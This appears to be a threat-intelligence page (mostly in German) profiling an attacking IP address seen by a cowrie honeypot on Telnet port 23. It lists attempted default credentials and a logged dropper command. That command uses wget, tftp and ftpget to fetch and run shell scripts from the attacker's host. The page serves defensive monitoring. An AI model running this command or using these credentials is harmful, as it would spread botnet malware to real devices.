⚠TROYANOSYVIRUS
Aktive Bedrohung • MITTEL

151.243.109.160

Erste Erkennung9.1.2026
Letzte Aktivitat11.1.2026
ISPKraken Network ISP LTD
🎯
449
Gesamtangriffe
🔌
1
Ports
📡
1
Angriffsarten
🦠
2
Malware

Geolokalisierung

Land
🇳🇱 Paises Bajos
Stadt
Eindhoven
ASN
AS209274
ISP
Kraken Network ISP LTD

Angriffsarten

cowrie

Angegriffene Ports

23

Zugehorige Malware

e3b0c44298fc1c149afb...→c13f0ba6a0df8c8a66a4...→

Versuchte Anmeldedaten

🔐sh/cd /tmp || cd /var/run || cd /mnt || cd /root || c
106x
🔐root/password
58x
🔐root/telnet
49x

Ausgefuhrte Befehle

$sh1x
$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://151.243.109.160/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 151.243.109.160 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 151.243.109.160; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 151.243.109.160 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh1x

Risikobewertung

50
/100
NiedrigMittelHochKritisch